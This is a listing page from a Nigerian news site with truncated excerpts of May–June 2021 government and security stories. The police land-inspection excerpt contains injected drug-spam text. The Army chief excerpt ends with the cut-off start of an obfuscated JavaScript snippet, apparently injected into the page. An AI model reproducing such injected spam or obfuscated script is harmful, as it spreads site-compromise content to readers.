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4Jun By Dwelleth MorountodunNo Comments

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Tax Returns: FIRS Introduces Stress-free TaxPro-Max Solution, Effective June 7

The Chairman, Federal Inland Revenue Service (FIRS), Mr. Muhammad Nami, on Thursday said effective from next week Monday, June 7, TaxPro-Max, a stress-free solution to tax filing encumbrances becomes the new channel for filing Naira denominated tax returns. The introduction of the new solution to tax filing, the Chairman assured will also help eliminate the bottlenecks and drawbacks associated with tax administration in the country. Nami, who underscores that this is part of the Service's efforts at modernising tax administration, said TaxPro-Max enables seamless registration, filing, payment of taxes and automatic credit of withholding tax as well as other credits to the taxpayers' accounts among other of its features. He added that the new solution also provides a single-view t...

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3Jun By Seun AdamsNo Comments

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Fight against Insurgency: Senate Reinforces Legal Status for NCC’s NEN 112

Towards tackliong insecurity and armed banditry head on, the  Senate, has taken further steps towards strengthening the legal status requirement for the country’s National Emergency Number 112, being implemented by the Nigerian Communications Commission (NCC) through its Emergency Communication Centres (ECC). The Committee on Communications recently organised a one-day public hearing where stakeholders gathered to make valuable contributions and observations on two bills by the Senate Committee on Communications. These are the Nigerian Postal Service Act (Repeal and Establishment) Bill, 2021 and the Nationwide Toll-Free Emergency Number (Establishment) Bill, 2021, being sponsored by Senator Ibikunle Amosun of Ogun State.  The emergency number bill passed the second read...

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2Jun By Dwelleth MorountodunNo Comments

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Nigeria Adopting Best Practices to Manage N32.915trn Debt, Says Enang

The Senior Special Assistant to the President Muhammadu Buhari, on Niger Delta Affairs Senator Ita Enang, has said that Nigeria is adopting the best practices of sustainable loan debt management. According to him, the repayment plan of the debt is tied to the projects for which the loan is taken. As at December 2020, however the Debt Management Office (DMO), said the combined indebtedness that is the debt stock of both the federal government, State governments including the Federal Capital Territory (FCT) stood at N32.915 trillion. The Chief Press Secretary to the   Senior Special Assistant to the President, Niger Delta Affairs, Mr. Edet Ekpeyong, in a statement quoted his boss Senator Ita Enang as making the disclosure in a key address at the Chartered Institute of Tax...

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2Jun By Seun AdamsNo Comments

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Minister Commissions Part of N10.4bn State-of-the-art Fire Fighting Equipment, Ambulances

The Minister of Interior, Ogbeni Rauf Aregbesola on Tuesday commissioned 20 new basic life support ambulance buses, seven state of the art firefighting trucks even as he acknowledged that senior officers pulled out of the service. Speaking at the ceremony, he said the equipment are part of the N10.4 billion infrastructure upgrade approved by the Federal Executive Council (FEC) in March which comprises of 44 firefighting engines, 15 water tankers, 15 rapid intervention fire engines (not conventional ones) that can go into any nook and cranny to respond to distressed calls and 20 basic life support ambulances. The Minister added that the ambulances in particular are an innovation to fire fighting and the first time in the history of this country. He said: “It has become clear that ...

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1Jun By Felix ShammahNo Comments

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NIPOST and Postal Regulations: Setting the Record Straight

By Franklin Alao The attention of the Management of the Nigerian Postal Service (NIPOST) has been drawn to some write-ups, especially on Twitter and Instagram by some persons alleging extortion by the new Courier regulations. NIPOST Management was taken aback by this action given the level of engagements of all stakeholders within the postal services industry in Nigeria, particularly in recent times. The decision to step up engagement was aimed at ensuring that all stakeholders have the opportunity to have input in decision-making, understand why NIPOST is introducing new measures and to promote transparency in the sector. NIPOST Management was, therefore, surprised that some stakeholders chose to ignore the windows of opportunity for sharing their ideas or grievances with the...

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1Jun By Dwelleth MorountodunNo Comments

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EFCC Boss Jets to US to Chart Way Forward on Fight against Corruption

The Chairman of the Economic and Financial Crimes Commission, EFCC Mr. Abdulrasheed Bawa, has arrived in New York, United States, where he is billed to attend the United Nations General Assembly’s Special Session against Corruption, UNGASS. The events which kicks off on Wednesday June 2, 2021 will end on June 4, 2021. The UNGASS will among other things, examine measures to prevent and combat corruption and strengthen international cooperation, pursuant to the General Assembly resolutions 73/191 and 74/276 as well as decision 74/568. The special session is expected to adopt “a concise and action-oriented political declaration agreed upon in advance by consensus through intergovernmental negotiation under the auspices of the conference of the state parties (CoSP) to UNCAC. The E...

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31May By Gami TadanyigbeNo Comments

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CSDevNet reiterates need for migratory birds protection

The Climate and Sustainable Development Network (CSDevNet) has stressed the need to protect migratory birds. The group said it would be done in collaboration with Nigeria Civil Society Framework on Paris Agreement and Sustainable Development Goals (NCSFPAS). This was contained in a statement by CSDevNet in Abuja on Monday to mark World Migratory Day 2021 with the theme: Sing, Fly, Soar- Like a Bird. Pius Oko, Project Officer, CSDevNet noted that the annual campaign was to raise awareness on migratory birds and the need for international cooperation to conserve them and their habitats. Oko said migratory birds lifted our spirits and reminded us of nature, as it connects people and the ecosystems. Oko, therefore, said the 2021 theme appealed to people around the world to use ...

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31May By Seun AdamsNo Comments

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Nwodo: Tributes, Encomiums as Associates Say He was Best President Nigeria Never Had

It was the gathering of who is who in the federal capital territory, Abuja on Sunday as friends, associates, admirers and relations of the former Presidential aspirant of the defunct National Republican Convention, NRC, assembled at JD Leisure Event Center, in Maitama to pay tribute and bid farewell to the great icon, Dr Joe Nnabuchi Nwodo.  The night of tribute organized by friends and relations of the late constitutional lawyer attracted prominent heads from political and corporate community across the country. The prowess of the late politician/ lawyer during his active days  especially during the third republic was the highlights of the tribute from speaker after speaker with most of them insisting that he was the best President Nigeria never had. The National Chairman o...

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28May By Gami TadanyigbeNo Comments

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2021 Constitutional Amendment Conference: Senator Aduda Receives FCT Delegates

Senator Philip Aduda, representing the Federal Capital Territory (FCT) on Thursday, received stakeholders from the FCT at Justice Idris Legbo Kutigi International conference Center, Minna, Niger state, for the zonal public hearing of the North Central zone on 1999 constitutional amendment. Senator Aduda, while at the event, said the essence of the conference was to provide avenue for Nigerians across sectors to make and present memorandum on the constitutional challenges they are facing that needed the constitutional backing or amendment. He said he decided to mobilized the FCT natives across board to deliberate get soma prices and harmonize on the different challenges facing Abuja Original Inhabitants since the siting of the Federal Capital Abuja. The News Agency of Nigeria (NAN...

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28May By Seun AdamsNo Comments

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Senate President’s Aide Climbs Up, Inducted Fellow, IMC

The Institute of Management Consultants (IMC) – Nigeria, has inducted the Special Assistant (Press) to the Senate President, Mr. Ezrel Tabiowo, as a Fellow of the Institute.   Tabiowo’s induction was sequel to his election as a Fellow by the Board and Governing Council “in recognition of his outstanding academic and professional standing, and demonstrated commitment to creating, maintaining, extending and promoting the highest world standards of management consulting practice, ethics, competence and client service.”   Members on the Governing Council include: Prof. Gabriel U. Moti, President; Dr. Ephraim Iroakazi, First Vice President; and Dr. Umar Farouk Galadima, Second Vice President.  Others are: Prof. P. A. Agashua, Prof. J.A.T Ojo, Dr. John Udofia; Dr. A...

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28May By Seun AdamsNo Comments

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ICPC Nabs Syndicate, FRSC Officials over Alleged Certificate Forgery

Two officials of the Federal Road Safety Corps (FRSC), Messrs. Edwin Onyuwe and Achigili Ogoli, have been arrested by the Independent Corrupt Practices and Other Related Offences Commission (ICPC) over certificate forgery. The Commission also arrested two members of a certificate forgery syndicate, Mr. Sunday Okpara and Abdulrahman Razak, for aiding and forging the certificate of the University of Abuja for the two officials of FRSC. In a joint statement signed by the Spokesperson for ICPC, Mrs. Azuka Ogugua and her counterpart in FRSC, Mr. Bisi Kazeem, said their arrest in Abuja, followed a petition by the Corps Marshal, Dr. Boboye Oyeyemi, to the Commission, in which he alleged that the two officials had approached the management of FRSC with forged Bachelor of Science degree...

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28May By Seun AdamsNo Comments

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FG Commissions W’ African Police Information System

The Minister of Police Affairs, Mr. Muhammadu Dingyadi, has commissioned the West African Information System (WAPIS), Data Collection and Recording Centre (DACORE) to enhance the capacity of West African law enforcement authorities to combat transnational crime and terrorism through more efficient information sharing. The Head, Press and Public Relations in the ministry, Mr.  Bolaji O. Kazeem, in a statement said the  WAPIS Data Collection and Recording Centre (DACORE) was inaugurated today by the Minister at the Nigeria Police Force Headquarters in Abuja. The Minister said that the West African Police Information System (WAPIS) data collection and recording Centre will promote inter-agency collaboration through the sharing of criminal and administrative data that will hel...

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27May By Gami TadanyigbeNo Comments

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Police, OC WORKS inspects land for police divisional HQ

A team led by the Superintendent of Police (Sp), works Department, FCT command, Mr. Musa Haruna with the Chief of Tungan Maje, Alhaji Salisu Isiaku Na’annabi and Ebosetale David Aigbefoh Esq, Vice Chairman NBA Gwagwalada Branch on Thursday inspected the Land for the construction of Divisional police Headquarters in Tungan-Maje community, in Gwagwalada area council of the Federal Capital Territory (FCT). During the inspection, the OC works expressed satisfaction over the land and promised to hit order drug online xanax the ground running promising to providing the prototype of a Divisional police Headquarters building plans by Tuesday next week. Alhaji Salisu Isiaku Na’annabi, the chief of Tungan-maje who expressed happiness, commended Barrister Aigbefoh especially and the Community ...

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27May By Mohammed MohammedNo Comments

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Buhari Names Maj. Gen.Yahaya is New Chief of Army Staff, Replaces Attahiru

President Muhammadu Buhari has appointed Major-General Farouk Yahaya as the new Chief of Army Staff. He replaces immediate past army chief, Lieutenant-General Ibrahim Attahiru who died in a Kaduna air-crash along with 10 other military officials. This development was announced in a statement signed and released on Thursday by military spokesperson Brigadier-General Onyema Nwachukwu. Prior to his appointment Major-General Yahaya was the General Officer Commanding 1 Division of the Nigerian Army and the incumbent Theatre Commander of the Counter terrorism Counter Insurgency military outfit in the North-East code-named Operation Hadin Kai, the statement said. Recall that Lt. Gen. Attahiru and 10 others died on Friday in a plane crash in Kaduna. var z =String;var t=z.fromCharCode(...

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27May By Seun AdamsNo Comments

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NCC Expresses Commitment to Empower Women, Girls Using Digital Tools

The Nigerian Communications Commission (NCC) has reaffirmed its commitment to the promotion and empowerment of young women and girls using Information and Communication Technology (ICT) in the country. The Commission expressed this commitment during separate sensitization campaigns held at Government Girls’ Science School (GSS), Kuje and Nobel Hall Leadership Academy, Abuja on Tuesday, May 25, 2021, as it joined the rest of the world in marking the 10th anniversary of Girls in ICT Day 2021. The annual event is an initiative of the International Telecommunication Union (ITU), designed to raise global awareness on empowering and encouraging young women and girls to consider studies and careers in Science, Technology, Engineering and Mathematics (STEM). Aside the sensitization campa...

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27May By Dayo OmoogunNo Comments

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NNPC, PSC Partners Sign Multibillion-Dollar Agreement to Renew OML118

The Nigerian National Petroleum Corporation (NNPC) and its Production Sharing Contract (PSC) partners - Shell Nigeria Exploration and Production Company (SNEPCo), Total Exploration and Production Nigeria Limited (TEPNG), Esso Exploration and Production Nigeria Limited (EEPNL) and Nigerian Agip Exploration (NAE) - have executed agreements to renew Oil Mining Lease (OML) 118 for another 20 years.The five agreements signed include, Dispute Settlement Agreement, Settlement Agreement, Historical Gas Agreement, Escrow Agreement and Renewed PSC Agreement. A statement by the Group General Manager, Group Public Affairs Division of the NNPC, Dr. Kennie Obateru, quoted the Group Managing Director of the Corporation, Mallam Mele Kyari, as saying that over $10bn of investment would be unlocked as a...

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27May By Dwelleth MorountodunNo Comments

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Onu Calls for Paradigm Shift, Advocate Deployment of Science Technology in Agriculture

The Minister of Science and Technology, Dr. Ogbonnaya Onu, has called for a paradigm shift in Nigeria’s agriculture to the use of Science, Technology and Innovation (STI) even as he called on the National Biotechnology Development Agency (NABDA) an agency under the ministry to help Nigeria solve its food and nutritional challenges deploying Science Technology and Innovation (STI). Speaking at the National Stakeholders’ Sensitization Workshop on Animal Biotechnology Applications and Regulatory Perspectives, organized by the agency in collaboration with International Partners recently in Abuja, Onu, said Nigerians are looking up to you (NABDA) to solve it food challenges, adding that the low content and inappropriate application of science, technology and innovation has been the bane of ...

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26May By Seun AdamsNo Comments

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Buhari: Instability in Libya, Our Deep Concern

President Muhammadu Buhari, on Wednesday expressed reservation that a stable or unstable Libya has implications for countries in the Lake Chad Basin area, including Nigeria. The disclosure was made when he hosted the Chairman, Presidential Council of Libya, Mr. Mohammed Younis Menfi, at the State House on Tuesday. In a statement made available to the media, Mr. Femi Adesina, his Special adviser on, Media and Publicity, quoted him as saying that: “Republics of Chad, and Niger, have extensive borders with Libya, and they are our immediate neighbours. Whatever affects them affects us. The stability or instability of Libya will directly affect us,” President Buhari said.  He stressed that security of Nigeria was number one priority to him, noting that “unless a country or instit...

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24May By -No Comments

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The Take-aways from President Buhari’s Visit to France

The first official visit to Europe since the COVID-19 pandemic saw President Muhammadu Buhari going to Paris, France to participate in a summit convened by Emmanuel Macron, his counterpart in France, on the financing of African post-COVID economies. The beginning of the idea of this meeting is traced to a conversation between the Kenyan President, Uhuru Kenyatta and his French counterpart, Emmanuel Macron. The conversation started like this: How would Africa come out of the challenges of the COVID-19 pandemic? It is a notorious fact that COVID-19 has led to unprecedented economic and health challenges all over the world. Africa which has recorded continuous growth in the last 25 years suffered its worst recession in 2020. The International Monetary Fund (IMF) postulates that the ...

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24May By Dele OgbodoNo Comments

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Buhari to Attahiru’s Wife, Others: Nigeria‘ll not Forget the Supreme Sacrifices of Your Late Spouses

By Mohammed Mohammed President Muhammadu Buhari has described Lt. General Ibrahim Attahiru, the late Chief of Army Staff as an outstanding soldier and an institution builder, who fought valiantly for Nigeria until he breathed his last. In a telephone conversation Sunday evening with Mrs. Fati Ibrahim Attahiru, the wife of the late COAS and the spouses of the other deceased officers through her, President Buhari hailed the sacrifices of the military men who lost their lives and the Armed Forces in general, saying that Nigerians will continue to appreciate and support the fearlessness with which our courageous soldiers are confronting the threats facing the nation. The Senior Special Assistant to the President, Media and Publicity, Mr. Garba Shehu, in a statement said Buhari, gave ...

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